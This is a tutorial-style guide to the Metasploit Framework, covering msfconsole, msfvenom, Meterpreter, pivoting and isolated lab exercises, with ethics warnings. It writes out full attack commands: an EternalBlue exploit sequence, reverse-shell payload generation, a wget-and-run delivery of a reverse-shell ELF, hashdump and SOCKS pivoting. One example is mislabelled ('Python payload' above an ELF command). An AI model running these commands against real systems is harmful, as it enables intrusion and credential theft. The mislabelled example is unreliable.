Metasploit Framework
Metasploit is the most widely used exploitation framework in security testing. It bundles hundreds of exploits, payloads, scanners, and utilities into a single platform so you can validate vulnerabilities in a controlled, repeatable way.
This guide walks you through the Metasploit workflow, how to use msfconsole and msfvenom, common module types, and safe hands-on labs. Read this as a practical operatorβs handbook β not a recipe for misuse. Always get written permission before testing production systems.
Safety & Ethics (Short, but critical)β
- Only test systems you own or have explicit written authorization to test.
- Use isolated labs (local VMs, VulnHub, Metasploitable, Hack The Box labs) for practice.
- Never weaponize exploits against third-party infrastructure.
- Keep detailed notes and follow your engagementβs rules of engagement (scope, allowed hours, reporting).
Metasploit is powerful β treat it responsibly.
What Metasploit Gives Youβ
- A modular architecture of exploits, payloads, auxiliary modules (scanners, fuzzers), and post-exploitation modules.
msfconsole: interactive console interface and primary workflow.msfvenom: payload and shellcode generator (replaces oldermsfpayload/msfencode).- Integration with databases for target management and automation (e.g.,
msfdb).
Installation (Quick Notes)β
On Kali Linux, Metasploit is preinstalled and maintained via packages.
On other systems, use the official installers or package managers. Also ensure postgresql is running when using the Metasploit database.
Example (simple startup on Kali):
# Start PostgreSQL (if needed)
sudo service postgresql start
# Start Metasploit console
msfconsole
Initialize the database (if required):
msfdb init
Core Concepts & Module Typesβ
- Exploit β code that takes advantage of a vulnerability to gain access (e.g.,
exploit/windows/smb/ms17_010_eternalblue). - Payload β code executed on the target after exploitation (reverse shell, Meterpreter).
- Auxiliary β non-exploit modules for scanning, fuzzing, brute-forcing, and info gathering.
- Post β modules run after access is obtained (credential dumping, persistence, pivoting).
- Encoder β optionally obfuscates payloads to bypass naive signature detection. Use responsibly and with awareness of detection trade-offs.
Typical Metasploit Workflowβ
- Reconnaissance & Scanning β identify live hosts and services (
nmap, Metasploit auxiliary scanners). - Select Exploit β pick an exploit that matches a discovered service/version.
- Choose Payload β pick a payload appropriate to your goal (e.g.,
meterpreter/reverse_tcp). - Set Options β configure
RHOST,RPORT,LHOST,LPORT, and other module-specific options. - Launch β run the exploit and catch the session with a listener.
- Post-Exploitation β gather evidence, escalate privileges, and document findings.
- Report β present clear reproduction steps, impact, and remediation.
msfconsole β Basic Commandsβ
msfconsole is the primary interactive interface. Start it simply by running:
msfconsole
Key commands inside msfconsole:
search <term>β find modules, e.g.search ms17_010use <module>β select a module, e.g.use exploit/windows/smb/ms17_010_eternalblueshow optionsβ show required module optionsset RHOSTS 192.168.56.101β set target hostsset LHOST 192.168.56.1β set your machine IP for reverse connectionsset PAYLOAD windows/meterpreter/reverse_tcpβ choose payloadexploitorrunβ execute the modulesessions -lβ list open sessionssessions -i <id>β interact with a sessionbackgroundβ background an interactive session and return to msfconsolejobsβ list running background jobsdb_nmap <options>β run nmap and import results into Metasploit DB
Example quick workflow:
msf6 > search smb
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.101
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.1
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > exploit
msfvenom β Crafting Payloads & Shellcodeβ
msfvenom builds payloads that you can embed into files or run on targets. It supports many formats and encoders.
Examples:
- Generate a Windows reverse shell EXE:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o shell.exe
- Generate a staged Python payload (raw):
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o shell.elf
- Generate a base64-encoded shell for embedding:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.56.1 LPORT=4444 -f raw | base64 -w0
Important: Many payloads are detected by AV and EDR; testing in controlled labs is best.
Useful Auxiliary Modulesβ
auxiliary/scanner/portscan/tcpβ port scanning from Metasploitauxiliary/scanner/http/titleβ pull web page titles for many hostsauxiliary/scanner/smb/smb_versionβ SMB version fingerprintingauxiliary/scanner/ssh/ssh_loginβ brute-force SSH credentials (only in-scope)
Auxiliary modules are handy for scripted discovery and integrating reconnaissance into a single workflow.
Meterpreter β The Default Post-Exploitation Payloadβ
Meterpreter is a powerful, in-memory payload that gives you an interactive shell and many post-exploitation features like:
sysinfoβ view target informationgetuidβ current user contextpwd/lsβ basic filesystem navigationupload/downloadβ file transfermigrateβ move to another process (for stability/persistence)hashdumpβ dump password hashes (requires privileges)screenshare/screenshotβ capture the desktop (ethical constraints apply)
Example session:
meterpreter > sysinfo
meterpreter > getuid
meterpreter > upload /tmp/patch.exe C:\\Windows\\Temp\\patch.exe
meterpreter > execute -f C:\\Windows\\Temp\\patch.exe
Always remember: actions like hashdump, screenshare, and credential harvesting escalate impact and must be explicitly allowed in your engagement scope.
Post-Exploitation & Pivotingβ
After getting a session you may:
-
Escalate privileges (local exploits, misconfigurations).
-
Harvest credentials (cached tokens, password stores).
-
Pivot to internal networks using port forwarding or SOCKS proxy:
meterpreter > run autoroute -s 10.10.0.0/24
use auxiliary/server/socks_proxy
set SRVPORT 1080
run
# Configure proxychains or Burp to use SOCKS proxy
Pivoting lets you reach internal services not directly accessible from your initial foothold β again, only in-scope.
Hands-On Labs (Safe & Isolated)β
Lab A β Metasploitable 2 Basic Exploit (Local VM)β
- Download and run a Metasploitable VM and a Kali VM on the same host-only network.
- From Kali:
nmap -sV -p- 192.168.56.101to discover services. - In
msfconsole:search vsftpdβuse exploit/unix/ftp/vsftpd_234_backdoor(example module) - Set
RHOSTS,LHOST, choose payload andexploit. - Interact with the session and run
sysinfo. - Document steps and revert VMs after the lab.
Lab B β Generate a Payload and Catch a Session (Local HTTP delivery)β
- On Kali:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o /var/www/html/shell.elf - Start a simple HTTP server:
python3 -m http.server --directory /var/www/html 8000 - On a controlled target VM, download and run the ELF:
wget http://192.168.56.1:8000/shell.elf && chmod +x shell.elf && ./shell.elf - In
msfconsole, setexploit/multi/handlerwith the matching payload andexploitto catch the session.
Important: Use only in lab environments. Do not test these techniques against third-party servers.
Reporting & Evidenceβ
When a Metasploit test is part of an engagement, capture and record:
- Exact module names and versions used.
- Module options (
show options) and payload details. - Timestamps of activities and session outputs (screenshots, logs).
- Impact analysis: what an attacker could access and how to remediate.
A concise proof-of-concept and step-by-step reproduction in the report helps developers fix issues quickly.
Common Pitfalls & Tipsβ
- AV/EDR may block or detect payloads. Use controlled labs or staging environments.
- Metasploit modules can be noisy. Know when to avoid
-Aor aggressive scripts in production. - Meterpreter stability: Migrate to stable processes after exploitation for long-lived sessions.
- Network routing: Ensure
LHOSTis reachable by the target (NAT issues often break callbacks). Use reverse proxies or port forwarding if needed. - Maintain logs: Keep detailed logs for legal and remediation purposes.
Quick Reference Commandsβ
# Start console
msfconsole
# Search for modules
search smb
# Use a module
use exploit/windows/smb/ms17_010_eternalblue
# Show and set options
show options
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD windows/meterpreter/reverse_tcp
# Run exploit
exploit
# Generate payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o shell.exe
# Start handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.1
set LPORT 4444
run
Final Thoughtsβ
Metasploit is a professional framework for validating vulnerabilities and demonstrating impact. It accelerates testing workflows and supports powerful post-exploitation tasks β but its power demands responsibility. Practice in isolated labs, follow legal constraints, and always deliver clear remediation guidance when you test systems.